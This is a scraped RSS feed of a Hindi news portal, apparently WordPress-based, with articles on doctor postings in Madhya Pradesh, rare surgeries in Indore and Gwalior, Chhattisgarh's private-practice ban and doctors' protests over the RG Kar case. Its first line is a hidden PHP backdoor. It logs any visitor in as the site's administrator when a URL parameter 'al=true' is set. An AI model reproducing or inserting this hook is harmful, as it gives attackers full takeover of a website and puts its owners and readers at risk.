// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); doctors – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 08 Jun 2025 03:37:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 प्रदेश के दूरस्थ इलाकों में स्वास्थ्य केंद्रों में जुलाई से दो हजार डॉक्टरों की सेवाएं मिलेंगी https://pratyushaashakinayikiran.com/?p=162231 Sun, 08 Jun 2025 03:37:00 +0000 https://pratyushaashakinayikiran.com/?p=162231 भोपाल

डॉक्टरों की कमी से जूझ रहे प्रदेश के दूरस्थ इलाकों में प्राथमिक और सामुदायिक स्वास्थ्य केंद्रों में जुलाई से दो हजार डॉक्टरों की सेवाएं मिलेंगी। स्वास्थ्य एवं चिकित्सा शिक्षा विभाग ने प्रदेश के सरकारी और निजी मेडिकल कॉलेजों से एमबीबीएस और पीजी करने वाले बंध-पत्र डॉक्टरों की नियुक्ति की प्रक्रिया शुरू कर दी है। नियुक्ति प्रक्रिया पूरी तरह ऑनलाइन होगी। विभाग ने बंधपत्र डॉक्टरों से नियुक्ति स्थल के लिए पोर्टल के जरिए 30-30 विकल्प मांगे हैं। डॉक्टर 12 जून तक विकल्प पोर्टल पर बता सकेंगे। इसके बाद पोर्टल बंद कर दिया जाएगा। जुलाई माह में इनकी नियुक्ति कर दी जाएगी।

अभी ऐसे हालात

    प्रदेश के सरकारी अस्पतालों में अभी डॉक्टरों की कमी
    4167 पद चिकित्सा विशेषज्ञों के स्वीकृत, 2563 पद इनमें खाली
    5439 पद मेडिकल ऑफिसर के स्वीकृत, 1424 पद हैं खाली
    639 डेंटल सर्जन के पद स्वीकृत, 392 पद इनमें खाली

इसलिए पासआउट विद्यार्थियों की तैनाती
कॉलेजों में एमबीबीएस में प्रवेश लेते समय छात्रों को 10 लाख रुपए का ग्रामीण सेवा बॉण्ड भरना होता है। इसके तहत एमबीबीएस और इंटर्नशिप पूरी होने के बाद ग्रामीण क्षेत्रों में १ साल चिकित्सा सेवा देना अनिवार्य है। पीजी छात्रों के लिए अवधि 5 साल तक है। ऐसा न करने पर 10 लाख जमा करने होते हैं।

मेरिट के अनुसार होगी पोस्टिंग
विभाग ने शुक्रवार से पोर्टल खोला है। इस पर विकल्प और अन्य जानकारी मिलेगी। डॉक्टरों को लॉगिन आइडी और पासवर्ड मोबाइल पर भेजे हैं। पोर्टल पर जिला व संस्थावार रिक्तियों की जानकारी मिलेगी। हर स्वास्थ्य संस्था के सामने रिक्तियों की संख्या दिखेगी। वरीयता के आधार पर संस्था चुननी होगी। एक डॉक्टर अधिकतम 30 विकल्प चुन सकेंगे। फिर के अनुसार पोस्टिंग होगी। ऐसे डॉक्टरों को शासन मानदेय देगी। पिछले साल ऐसे डॉक्टरों का मानदेय 55 हजार रुपए प्रतिमाह था।

विशेषज्ञों की नियुक्ति

विशेषज्ञों की नियुक्ति विशेषज्ञता के अनुसार चरणबद्ध तरीके से साक्षात्कार के बाद की जाएगी। प्रत्येक विशेषज्ञता के लिए चयन सूची अलग-अलग जारी होगी। उल्लेखनीय है कि प्रदेश में विशेषज्ञों के कुल तीन हजार 725 पदों से 1800 से अधिक रिक्त हैं। सबसे बड़ी चुनौती यह है कि विज्ञापित पदों में से लगभग 60 प्रतिशत ही मिल पा रहे हैं।
चिकित्सा अधिकारियों के 1200 से अधिक पद रिक्त

वर्ष 2023 में सीधी भर्ती से विशेषज्ञों के 888 पदों पर भर्ती के लिए विज्ञापन जारी किया गया था, पर इनमें 506 ही मिले। कारण, एक तो आरक्षित पदों पर निर्धारित योग्यता के अनुसार डॉक्टर नहीं मिल पाते। दूसरा, जिनका चयन होता है, उनमें कुछ ज्वाइन भी नहीं करते। इसी तरह से चिकित्सा अधिकारियों के कुल पांच हजार 329 पदों में से 1200 से अधिक पद रिक्त हैं।
50 प्रतशित पद संविदा से भरने का प्रविधान

स्वास्थ्य एवं चिकित्सा शिक्षा विभाग के अधिकारियों ने बताया कि पद विज्ञापित करने के बाद आयोग ने पिछले माह शुद्धि पत्र भी जारी किया था। इसमें 50 प्रतशित पद संविदा से भरने का प्रविधान किया गया है। संविदा के अभ्यर्थी नहीं मिलने से यह पद ओपन श्रेणी से भरे जाएंगे।

इसके अतिरिक्त जिला अस्पतालों में सहायक प्रबंधक के 68 और प्रदेश भर के लिए खाद्य सुरक्षा अधिकारियों के 120 पदों पर भर्ती प्रक्रिया प्रारंभ की गई है। विभाग के अधिकारियों ने बताया कि जिस तरह से नए अस्पताल बन रहे हैं उसी के अनुरूप नए पद सृजित करने की भी प्रक्रिया भी चल रही है।

 

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इंदौर में डॉक्टरों ने लड़की की ओवरी से 8 किलोग्राम वजन की गांठ निकाली https://pratyushaashakinayikiran.com/?p=145370 Wed, 02 Apr 2025 07:26:00 +0000 https://pratyushaashakinayikiran.com/?p=145370 इंदौर
 मध्य प्रदेश के इंदौर जिले के एमटीएच अस्पताल के डॉक्टरों की टीम ने कमाल कर दिखाया। एक 15 वर्षीय किशोरी के पेट से 8 किलो की गठान निकालकर उसकी जान बचा ली। यह ऑपरेशन मेडिकल क्षेत्र में एक बड़ी उपलब्धि मानी जा रही है, क्योंकि इतनी बड़ी गठान को निकालना अत्यधिक जोखिम भरा था।

लंबे समय से झेल रही थी तकलीफ

सरदारपुर निवासी रेणुका (15) को पिछले कुछ महीनों से पेट दर्द की शिकायत थी। धीरे-धीरे दर्द बढ़ने लगा और उसके पेट में सूजन भी दिखाई देने लगी। परिवार की आर्थिक स्थिति कमजोर होने के कारण वे महंगे अस्पतालों में इलाज कराने में असमर्थ थे। जब समस्या गंभीर हो गई और सांस लेने में भी दिक्कत होने लगी, तो वे इंदौर के एमटीएच अस्पताल पहुंचे।

जांच में सामने आई 36 सेमी की गठान

एमटीएच अस्पताल में डॉक्टर सुमित्रा यादव की यूनिट ने रेणुका की प्रारंभिक जांच की और पेट में गठान का संदेह हुआ। बाद में एमआरआई स्कैन में पुष्टि हुई कि उसके अंडाशय में 36 सेंटीमीटर की विशाल गठान थी। इसकी वजह से न केवल पेट में दर्द हो रहा था, बल्कि वह ठीक से चल-फिर भी नहीं पा रही थी।

जटिल था ऑपरेशन

मरीज की उम्र कम थी और शरीर में हीमोग्लोबिन की कमी भी थी, इसलिए यह ऑपरेशन बेहद चुनौतीपूर्ण था। लेकिन गठान का बढ़ता आकार उसकी जान के लिए खतरा बन सकता था। इसलिए डॉक्टरों ने ऑपरेशन का निर्णय लिया। डॉ. सुमित्रा यादव के नेतृत्व में डॉक्टरों की एक अनुभवी टीम ने ऑपरेशन किया।

परिवार ने जताया आभार

करीब तीन घंटे तक चले इस ऑपरेशन में डॉक्टरों ने सफलता पूर्वक 8 किलो की गठान निकालकर मरीज की जान बचा ली। ऑपरेशन के बाद रेणुका की हालत स्थिर है और वह तेजी से स्वस्थ हो रही है। परिवार ने डॉक्टरों को भगवान का रूप बताते हुए कहा कि जब बाकी अस्पतालों ने हाथ खड़े कर दिए थे, तब एमटीएच अस्पताल के डॉक्टरों ने उनकी बेटी को नई जिंदगी दी। उन्होंने पूरे मेडिकल स्टाफ का आभार व्यक्त किया।

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ग्वालियर : रेलवे स्टेशन पर गिरे मजदूर के शरीर में घुसे 3 सरिये, डॉक्टरों ने बचा ली जान https://pratyushaashakinayikiran.com/?p=91764 Wed, 30 Oct 2024 14:16:00 +0000 https://pratyushaashakinayikiran.com/?p=91764 ग्वालियर

ग्वालियर में इंजीनियर-डॉक्टर ने मिलकर एक मजदूर की जान बचाई। मजदूर के सीने और पेट में घुसे सरिए निकालने के लिए ऑपरेशन ढाई घंटे तक चला। इंजीनियर ने स्ट्रेचर पर ही उसके शरीर में घुसे सरिए इलेक्ट्रिक कटर से काटे।

इस दर्दनाक घटना के बाद भी बिना घबराए मजदूर की जीवटता और डॉक्टरों के हाथों के हुनर ने ऐसा कमाल दिखाया कि त्योहार के दिन उसे जीवनदान मिल गया। अस्पताल ले जाए गए मजदूर के शरीर में सरिये घुसे होने से उसे सीटी स्कैन कक्ष तक में नहीं ले जाया सका तो ग्राइंडर से सरिये काटे गए।

डेढ़ घंटे तक चले ऑपरेशन के बाद डॉक्टरों ने बुरी तरह कटी आंत को जोड़ दिया। उसकी हालत स्थिर है। डाक्टरों की निगरानी में रहेगा। रेलवे स्टेशन पुनर्विकास परियोजना के तहत प्लेटफार्म क्रमांक एक की तरफ पुराने आरपीएफ थाने के पीछे रेल कर्मचारियों के आवास बन रहे हैं।

यहां इमारत की दूसरी मंजिल पर मंगलवार की सुबह मजदूर छोटू जाटव पुत्र संतोष जाटव निवासी घास मंडी किलागेट दरवाजे के पल्ले लगाने का काम कर रहा था। इसी दौरान नीचे लिफ्ट की डक्ट में गिर गया।

केपीसी कंपनी पर लापरवाही का आरोप

बताया गया है कि चेन बेल्ट खुल जाने से यह हादसा हुआ पर मजदूर के स्वजन का केपीसी इंफ्रा कंपनी पर लापरवाही का आरोप लगाया है। पुलिस मामले की जांच कर रही है। केपीसी वही कंपनी है जिसने एयर टर्मिनल का काम किया है।

एयर टर्मिनल के काम के दौरान चार से पांच मजदूरों की मौत होने के मामले सामने आ चुके हैं, कुछ समय पहले ही एक मजदूर की मौत हुई थी। हर मामले में केपीसी पर लापरवाही के आरोप लगे। बताया गया है कि रेलवे स्टेशन के इस प्रोजेक्ट में भी पूरी तरह सुरक्षा मानकों का पालन नहीं किया जा रहा है, इस कारण कर्मचारियों में आक्रोश भी है।

ऐसे बचा ली जान

छोटू को सुबह 11.30 बजे जेएएच के ट्रामा सेंटर लाया गया। सबसे पहले उसके शरीर के अंदर सरियों ने क्या नुकसान किया है, यह जानने के लिए सीटी स्कैन जरूरी था, परंतु सरियों की वजह से उस कक्ष में ले जाना संभव नहीं हो सका। सर्जरी विभाग की प्राध्यापक डॉ. अंजलि जलज ने वर्कशाप प्रभारी अतर सिंह जाटव की टीम को बुलाकर ग्राइंडर मशीन के जरिये सरियों को कटवाया।

उसके बाद सर्जरी विभाग के आईसीयू में शिफ्ट किया गया। वाइटल्स स्थिर रहने पर सीटी स्कैन किया गया जिसमें उसे न्यूमोपेरिटोनियम एवं न्यूमोथोरेक्स की पुष्टि हुई। डॉक्टरों के अनुसार शरीर में हुए छेदों के कारण फेफड़ों और पेट में हवा भर गई थी, जिसे नली की सहायता से निकाला गया।

डॉ जलज के नेतृत्व में डॉ. हिमांशु चंदेल तथा यूरोलाजी विभाग के डॉ. संजय पाराशर द्वारा सर्जरी की गयी। डॉक्टरों की टीम ने लगभग सवा घंटे तक जटिल ऑपरेशन के बाद बताया कि क्षतिग्रस्त आंत को जोड़ा गया है। उसकी हालत ठीक है।

 

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प्रति वर्ष दो-तीन दिन कार्यशाला में लेना होगा भाग, डॉक्टर नया सीखते रहेंगे तभी चल पाएगी डाक्टरी https://pratyushaashakinayikiran.com/?p=77036 Sun, 29 Sep 2024 13:15:00 +0000 https://pratyushaashakinayikiran.com/?p=77036 भोपाल
डॉक्टर के लिए तो लगातार सीखना और आवश्यक होता है। अब चिकित्सा जगत में हो रहे नए बदलावों, नई तकनीकों, नई दवाएं और सर्जरी की नई तकनीकों के बारे में जो डॉक्टर अपडेट नहीं होंगे उनका मध्य प्रदेश मेडिकल काउंसिल में पंजीयन नवीनीकरण नहीं किया जाएगा। ऐसा होने पर वे प्रैक्टिस नहीं कर पाएंगे। इसके लिए डाक्टरों को विभिन्न कार्यशालाओं में दो से तीन दिन उपस्थित रहकर कम से कम छह क्रेडिट आवर प्रतिवर्ष अर्जित करना होगा। हर पांच वर्ष में 30 क्रेडिट आवर लाना अनिवार्य होंगे। ऐसी व्यवस्था मध्य प्रदेश मेडिकल काउंसिल लागू करने की तैयारी में है। इसके लिए नेशनल मेडिकल कमीशन (एनएमसी) के दिशा-निर्देश की प्रतीक्षा है।

बता दें, एनएमसी ने सभी राज्यों को ऐसी व्यवस्था लागू करने के लिए कहा है ताकि चिकित्सा की गुणवत्ता बनी रहे, लेकिन अभी आयोग की ओर से दिशा-निर्देश जारी नहीं हुए हैं। अभी डाक्टरों को एक बार पंजीयन के बाद नवीनीकरण की आवश्यकता नहीं होती, लेकिन नई व्यवस्था प्रभावी होने के बाद हर पांच वर्ष में नवीनीकरण कराना होगा।मध्य प्रदेश मेडिकल काउंसिल में करीब 56 हजार डाक्टर पंजीकृत हैं, लेकिन इनमें सरकारी और निजी मिलाकर लगभग 25 हजार ही प्रैक्टिस कर रहे हैं। कई डाक्टरों की रुचि कार्यशालाओं में शामिल होने की नहीं रहती है।

इसमें अधिकतर सरकारी अस्पतालों के प्राथमिक और सामुदायिक स्वास्थ्य केंद्रों में पदस्थ डाक्टर होते हैं। आमतौर पर कार्यशालाएं बड़े शहरों में होती हैं, इस कारण वे जाते नहीं हैं। इसके अतिरिक्त जो डाक्टर सरकारी सेवा से सेवानिवृत्त हो चुके हैं, उनकी भी सेमिनार या कार्यशालाओं में शामिल होने में रुचि नहीं रहती। इसका सीधा नुकसान रोगियों को होता है क्योंकि उपचार करने वाले कुछ डाक्टर नई बीमारियों, जांच और उपचार की नई तकनीक के बारे में ठीक से समझ नहीं पाते हैं। हालांकि, इनमें कुछ डाक्टर आनलाइन रिसर्च पेपर आदि से खुद को अपडेट रखने की कोशिश करते हैं।

इस तरह मिलता है क्रेडिट आवर
मध्य प्रदेश मेडिकल काउंसिल की वर्तमान व्यवस्था के अनुसार तीन घंटे की कार्यशाला में एक क्रेडिट आवर मिलता है। एक दिन की कार्यशाला छह से आठ घंटे की होती है। इस तरह वर्ष में छह क्रेडिट आवर पाने के लिए एक या अलग-अलग कार्यशालाओं में दो से तीन दिन तक उपस्थित रहना पड़ेगा। कार्यशाला का मूल्यांकन करने के बाद काउंसिल क्रेडिट आवर देती है।

यह होगा लाभ : डाक्टर नई संक्रामक बीमारियों के कारण, जांच और उपचार के तरीके, प्रोटोकाल के बारे में जान सकेंगे। – उच्च शैक्षणिक संस्थानों में होने वाले शोध की जानकारी भी शोधकर्ता कार्यशालाओं में अपना पेपर प्रस्तुत करके देते हैं। शोध से परिचिति होने का अवसर मिलता है।कार्यशाला में शामिल होने वाले डाक्टर के विद्यार्थी और उनके अधीनस्थों को भी उनसे सीखने का अवसर मिलेगा। -प्रति पांच वर्ष में पंजीयन नवीनीकरण से प्रदेश में डाक्टरों की सही संख्या पता चल पाएगी।

मध्य प्रदेश मेडिकल काउंसिल की ओर से क्रेडिट आवर अभी भी दिए जाते हैं, लेकिन उसे अनिवार्य नहीं किया गया है। एनएमसी की ओर से क्रेडिट आवर के नए नियम बनाने की भी बात सामने आई है। डा. आरके निगम, पूर्व रजिस्ट्रार, मध्य प्रदेश मेडिकल काउंसिल

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Health Department के 15 डॉक्टर्स गैस राहत अस्पतालों में देंगे सेवाएं https://pratyushaashakinayikiran.com/?p=72986 Sat, 21 Sep 2024 09:16:00 +0000 https://pratyushaashakinayikiran.com/?p=72986 भोपाल
लोक स्वास्थ्य एवं चिकित्सा शिक्षा विभाग के 15 डॉक्टर्स भोपाल गैस त्रासदी राहत एवं पुनर्वास विभाग के अधीन गैस राहत अस्पतालों में सेवाएं देंगे। यह डॉक्टर्स 2 वर्ष की प्रतिनियुक्ति अवधि के लिये गैस राहत अस्पतालों में पदस्थ किये गये हैं।

भोपाल शहर में संचालित गैस राहत अस्पतालों में पदस्थ किये गये डॉक्टर्स में एक मेडिकल विशेषज्ञ, एक सर्जिकल विशेषज्ञ, एक अस्थिरोग विशेषज्ञ, एक स्त्रीरोग विशेषज्ञ, एक निश्चेतना विशेषज्ञ तथा 10 चिकित्सा अधिकारी हैं। प्रतिनियुक्ति पर पदस्थ किये गये इन 15 डॉक्टर्स में से मेडिकल विशेषज्ञ ने जवाहर लाल नेहरू चिकित्सालय में, सर्जिकल विशेषज्ञ एवं स्त्री रोग विशेषज्ञ ने जवाहर लाल नेहरू चिकित्सालय में कार्यभार ग्रहण कर लिया है। इसी प्रकार कमला नेहरू चिकित्सालय में दो चिकित्सा अधिकारियों तथा जवाहर लाल नेहरू चिकित्सालय, शाकिर अली खान चिकित्सालय व रसूल अहमद सिद्धिकी पल्मोनरी मेडिसिन सेंटर में एक-एक चिकित्सा अधिकारी ने भी कार्यभार ग्रहण कर लिया है।

उल्लेखनीय है कि गैस राहत अस्पतालों में विशेषज्ञ चिकित्सकों एवं चिकित्सा अधिकारियों की पदपूर्ति करने के लिये भोपाल गैस त्रासदी राहत एवं पुनर्वास विभाग ने लोक स्वास्थ्य एवं चिकित्सा शिक्षा विभाग से प्रतिनियुक्ति पर चिकित्सकों की सेवाएं लेने का मांग पत्र भेजा था। स्वास्थ्य द्वारा प्रतिनियुक्ति पर पदस्थापना की मांग मानकर 27 अगस्त को 15 डॉक्टर्स की गैस राहत अस्पतालों में प्रतिनियुक्ति पर सेवाएं देने के आदेश जारी कर दिये।

 

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आरजी कर अस्पताल मामला: जूनियर चिकित्सकों का स्वास्थ्य भवन के बाहर तीसरे दिन भी धरना जारी https://pratyushaashakinayikiran.com/?p=70102 Fri, 13 Sep 2024 19:36:00 +0000 https://pratyushaashakinayikiran.com/?p=70102 कोलकाता
 पश्चिम बंगाल में कोलकाता के सरकारी आरजी कर अस्पताल मामले को लेकर जारी गतिरोध को सुलझाने के लिए कनिष्ठ चिकित्सकों और मुख्यमंत्री ममता बनर्जी की सरकार के बीच एक दिन पहले प्रस्तावित बैठक के विफल हो जाने के बाद प्रदर्शनकारियों ने राज्य के स्वास्थ्य भवन के बाहर शुक्रवार को लगातार तीसरे दिन भी धरना जारी रखा और काम बंद रखा।

महिला चिकित्सक और उनके परिजनों को न्याय दिलाने सहित अन्य मांगों को लेकर प्रदर्शन में शामिल 26 मेडिकल कॉलेजों से लगभग 30 चिकित्सक बैठक के लिए नबान्न (राज्य सचिवालय) पहुंचे थे, लेकिन राज्य सरकार द्वारा वार्ता के सीधे प्रसारण संबंधी उनकी मांग को नहीं मानने के कारण चिकित्सकों ने बैठक से इनकार कर दिया था।

मुख्यमंत्री ममता बनर्जी ने कहा कि जूनियर चिकित्सकों के साथ बैठक का सीधा प्रसारण नहीं किया जा सकता, जैसा कि उनकी मांग है क्योंकि यह मामला उच्चतम न्यायालय में विचाराधीन है। उन्होंने कहा कि उनकी सरकार ने इसे रिकॉर्ड करने और जरूरत पड़ने पर न्यायालय की अनुमति से रिकॉर्डिंग उन्हें (जूनियर डॉक्टरों को) सौंपने की व्यवस्था की है।

प्रदर्शनकारी चिकित्सकों ने कहा कि ‘स्वास्थ्य भवन’ के बाहर उनका धरना तब तक जारी रहेगा जब तक पुलिस आयुक्त, स्वास्थ्य सचिव, स्वास्थ्य सेवा निदेशक और चिकित्सा शिक्षा निदेशक को निलंबित करने सहित प्रमुख मांगें पूरी नहीं हो जातीं।

जूनियर चिकित्सकों के संगठन के एक सदस्य ने कहा, ”हम अपना काम फिर से शुरू करना चाहते हैं, लेकिन तब तक शुरू नहीं करेंगे जब तक हमारी मांगें पूरी नहीं हो जातीं।”

राज्य सरकार और मुख्यमंत्री ने बार-बार चिकित्सकों से काम पर लौटने का आग्रह किया है।

पश्चिम बंगाल सरकार और चिकित्सकों के बीच बृहस्पतिवार को वार्ता नहीं हो सकी। प्रदर्शनकारियों ने कहा कि वे अब भी बैठक को तैयार हैं लेकिन वार्ता पूरी तरह से पारदर्शी तरीके से होनी चाहिए, जो तभी संभव है जब बैठक का सीधा प्रसारण किया जाए।

चिकित्सकों ने कहा कि कई लोगों ने प्रदर्शनकारियों के साथ एकजुटता दिखाई है। उन्होंने दुर्गा पूजा उत्सव के अपने बजट में कटौती कर हमें भोजन और अन्य सामग्री पहुंचाई या फिर अपना जन्मदिन प्रदर्शनकारियों के साथ मनाकर अपनी एकजुटता प्रदर्शित की।

प्रदर्शनकारी चिकित्सकों को मिठाई बांटते हुए एक पिता ने कहा, ”मैं अपनी 11 वर्षीय बेटी के भविष्य के लिए इन चिकित्सकों के प्रति अपना सम्मान प्रकट करता हूं।”

एक प्रदर्शनकारी चिकित्सक ने कहा, ”आरजी कर मामले में न्याय के लिए इस प्रयास में इस तरह के समर्थन से हम अभिभूत हैं और यह हमें अपना मनोबल ऊंचा रखने में मदद कर रहा है।”

सॉल्ट लेक स्थित ‘स्वास्थ्य भवन’ और उसके आसपास कानून व्यवस्था बनाए रखने और सुचारू यातायात सुनिश्चित करने के लिए बड़ी संख्या में पुलिसकर्मियों को तैनात किया गया है।

 

 

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सरकारी डॉक्‍टरों के निजी अस्पतालों में प्रैक्टिस पर छत्‍तीसगढ़ में स्‍वास्‍थ्‍य विभाग ने लगाई रोक, आदेश जारी https://pratyushaashakinayikiran.com/?p=63392 Fri, 23 Aug 2024 17:26:00 +0000 https://pratyushaashakinayikiran.com/?p=63392 रायपुर

 छत्‍तीसगढ़ में सरकारी चिकित्सकों के निजी अस्पतालों में प्रैक्टिस करने पर स्वास्थ्य विभाग ने रोक लगा दी है। कार्यावधि में डॉक्टरों के निजी प्रैक्टिस करने पर कार्रवाई होगी। स्वास्थ्य विभाग के विशेष सचिव चंदन कुमार ने प्रदेश के आदेश जारी कर निजी प्रैक्टिस पर प्रतिबंध के आदेश का कड़ाई से पालन करने के निर्देश दिए हैं।

स्वास्थ्य विभाग के नए आदेश के अनुसार, सरकारी डॉक्टरों को कार्यावधि के दौरान निजी प्रैक्टिस करने पर कड़ी कार्रवाई का सामना करना पड़ेगा। पहले भी डॉक्टरों को निजी अस्पतालों में ऑपरेशन और रोगियों को देखने से रोका गया था, लेकिन कई डॉक्टरों की आदतें नहीं बदलीं। इस वजह से लोक स्वास्थ्य एवं परिवार कल्याण विभाग ने दोबारा से सख्त आदेश जारी किए हैं।

वहीं आदेश में यह भी कहा गया है कि लोक स्वास्थ्य एवं परिवार कल्याण विभाग के चिकित्सकों को निजी प्रैक्टिस की छूट रहेगी, परंतु यह केवल कार्यावधि के बाद की जा सकेगी। नर्सिंग होम या निजी क्लीनिक में जाकर प्रैक्टिस नहीं कर सकेंगे।
इस फैसले पर अधिकारियों की प्रतिक्रिया

अधिकारियों का कहना है कि इस आदेश का उद्देश्य सरकारी अस्पतालों की सेवाओं को प्राथमिकता देना और निजी प्रैक्टिस के कारण सरकारी कामकाज में उत्पन्न होने वाली अव्यवस्थाओं को समाप्त करना है। इस कदम से सरकारी स्वास्थ्य सेवाओं की गुणवत्ता और मरीजों को मिलने वाली सुविधाओं में सुधार की उम्मीद जताई जा रही है।
जानिए क्‍या है स्‍वास्‍थ्‍य विभाग का नया आदेश

सरकारी डॉक्टरों को अब कार्यावधि के बाद ही निजी प्रैक्टिस की अनुमति होगी। इसका मतलब है कि वे अपने सरकारी अस्पताल की ड्यूटी खत्म होने के बाद ही किसी निजी प्रैक्टिस में शामिल हो सकते हैं।

डॉक्टरों को अब नर्सिंग होम या निजी क्लीनिक में जाकर प्रैक्टिस करने की अनुमति नहीं होगी। यह कदम सरकारी अस्पतालों में कार्य की प्राथमिकता और सेवाओं की गुणवत्ता को सुनिश्चित करने के उद्देश्य से उठाया गया है।

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इसी माह होगी डेढ़ हजार से अधिक डॉक्टरों की पदस्थापना, विभागीय पोर्टल से की जाएगी निगरानी https://pratyushaashakinayikiran.com/?p=63089 Thu, 22 Aug 2024 21:56:00 +0000 https://pratyushaashakinayikiran.com/?p=63089 भोपाल
प्रदेश में बांडेड डाॅक्टरों की पदस्थापना के लिए लोक स्वास्थ्य एवं चिकित्सा शिक्षा विभाग ने इस वर्ष से नई व्यवस्था शुरू की है। एमपी ऑनलाइन की जगह अब विभाग द्वारा तैयार पोर्टल के माध्यम से उनकी पदस्थापना की जाएगी। डाॅक्टरों को विभिन्न जिलों के 30 अस्पतालों का विकल्प पोर्टल पर उपलब्ध कराया जाएगा। अपनी वरीयता के अनुसार सभी 30 विकल्प चुनना होगा।

इसके बाद एमबीबीएस में प्राप्त अंकों की मेरिट के आधार पर उनकी पदस्थापना की जाएगी। लगभग 1850 डाॅक्टरों की पदस्थापना की जानी है। विकल्प नहीं भरने वालों के विरुद्ध विभाग की ओर से बंधपत्र की शर्तों का उल्लंघन करने की कार्रवाई की जाएगी। हालांकि, विभाग चाहे तो विकल्प के अतिरिक्त अन्य अस्पतालों में भी पदस्थापना कर सकेगा। पदस्थापना के बाद उनकी निगरानी पोर्टल के माध्यम से की जाएगी।

उदाहरण के तौर पर कितने रोगी देखे। कितने दिन अवकाश पर रहे। बांडेड डाॅक्टरों की पदस्थापना के लिए पोर्टल पर ऐसे अस्पतालों को विकल्प में रखा गया है, जहां डाॅक्टर नहीं है। इससे डाॅक्टर विहीन लगभग पौने चार सौ अस्पतालों में उनकी पदस्थापना हो सकेगी।

उल्लेखनीय है कि मेडिकल कालेजों के प्रवेश नियम में निर्धारित शर्तों के अनुसार निजी व सरकारी कालेजों से निकलने वाले एमबीबीएस व पीजी डिग्रीधारी डाक्टरों को एक-एक वर्ष की अनिवार्य सेवा सरकार द्वारा चिह्नित अस्पताल में देनी होती है। ऐसा नहीं करने पर पंजीयन निरस्त करने की व्यवस्था है।

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छत्तीसगढ़-कोरबा में डॉक्टरों ने काम बंद हड़ताल की दी चेतावनी, कोलकाता में डॉक्टर की हत्या का जताया विरोध https://pratyushaashakinayikiran.com/?p=61369 Sat, 17 Aug 2024 16:06:00 +0000 https://pratyushaashakinayikiran.com/?p=61369 कोरबा.

कोलकाता के बीजी कर मेडिकल कॉलेज में महिला चिकित्सक से दुष्कर्म के बाद हत्या करने का मामला देश और दुनिया में गर्माया हुआ है। इस घटनाक्रम को लेकर कोरबा में मेडिकल सेक्टर से जुड़े लोगों ने नेताजी चौक से रैली निकाली और कलेक्ट्रेट का घेराव किया। उन्होंने पश्चिम बंगाल सरकार को कटघरे में खड़ा करने के साथ मामले में संलिप्प्त सभी दोषियों को फांसी की सजा देने की मांग की।

पश्चिम बंगाल की राजधानी कोलकाता में हाल में ही एक महिला डॉक्टर से दुष्कर्म करने के बाद उसकी हत्या कर दी गई। लगातार हो रही जांच के साथ इसमें कई  प्रकार के खुलासे हुए हैं।  कोरबा में इंडियन मेडिकल एसोसिएशन के आव्हान पर सरकारी और प्राइवेट डॉक्टर के अलावा विभिन्न चिकित्सा संस्थान से जुड़े लोगों ने धरना प्रदर्शन करने के साथ रैली निकाली  उन्होंने कलेक्ट्रेट का घेराव भी किया। मेडिकल कॉलेज में असिस्टेंट प्रोफेसर वीरेंद्र श्रीवास ने पूरे घटनाक्रम पर नाराजगी जताई और जहां की अगर डॉक्टर सुरक्षित नहीं है तो आम लोगों के बारे में कुछ नहीं कहा जा सकता। इस प्रकरण में दोषियों पर कड़ी कार्रवाई की मांग संगठन कर रहा है। ऐसा नहीं होने पर वे कामकाज बंद कर देंगे। सृष्टि मेडिकल इंस्टिट्यूट के संचालक देवेंद्र पांडे ने मामले को लेकर पश्चिम बंगाल की सरकार को आड़े हाथों लिया। उन्होंने बताया कि पश्चिम बंगाल में जंगल राज काफी समय से चल रहा है और इसी की परिणति यह घटना हुई है। प्रकरण में दोषियों को अत्यंत कठोर सजा देने की जरूरत है।

प्रकरण में चारों तरफ से दबाव बनने पर सीबीआई के द्वारा जांच शुरू कर दी गई है। मालूम चला है कि किसी बात को लेकर दिवंगत डॉक्टर का कैंपस में इंटर्नशिप कर रही एक छात्रा से विवाद हुआ था जिसके बाद मारपीट की घटना हुई। खबरें तो इस प्रकार की है कि मौके पर ही डॉक्टर के साथ मारपीट करते हुए उसकी हड्डियां तोड़ दी गई और बाद में दुष्कर्म की वह घटना हुई जिसे लेकर देश भर में डॉक्टर के साथ-साथ मेडिकल स्टाफ और संभ्रांत लोगों का खून खोल उठा है।

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मध्य प्रदेश में डॉक्टरों की अनिश्चितकालीन हड़ताल अवैधानिक, हाईकोर्ट ने नोटिस जारी कर मांगा 24 घंटों में जवाब https://pratyushaashakinayikiran.com/?p=61268 Sat, 17 Aug 2024 11:16:00 +0000 https://pratyushaashakinayikiran.com/?p=61268 जबलपुर

मध्य प्रदेश में जूनियर डॉक्टरों की हड़ताल को हाईकोर्ट ने अवैधानिक बताया है। उन्होंने 24 घंटे में जूनियर डॉक्टर एसोसिएशन गांधी हॉस्पिटल भोपाल को नोटिस देते हए जवाब मांगा है।

बता दें कि पश्चिम बंगाल में ट्रेनी महिला डॉक्टर की दुष्कर्म और हत्या के विरोध में प्रदेश के डॉक्टर हड़ताल पर उतर गए थे। इस हड़ताल को चुनौती देने वाली याचिका हाईकोर्ट में लगाई गई थी। हाईकोर्ट के कार्यवाहक चीफ जस्टिस संजीव सचदेवा तथा जस्टिस विनय सराफ की युगलपीठ ने सुनवाई के दौरान पाया कि पूर्व में दायर याचिका की सुनवाई के दौरान मध्य प्रदेश शासकीय चिकित्सा महासंघ तथा मेडिकल ऑफिसर एसोसिएशन को निर्देशित किया गया था कि वह हाईकोर्ट में बिना सूचित किए सांकेतिक हड़ताल तक नहीं करेंगे। युगलपीठ ने जूनियर डॉक्टर एसोसिएशन गांधी हॉस्पिटल भोपाल को उक्त आदेश की प्रति नोटिस के साथ भेजने के आदेश देते हुए अगली सुनवाई शनिवार 17 अगस्त को सुनवाई निर्धारित की है।

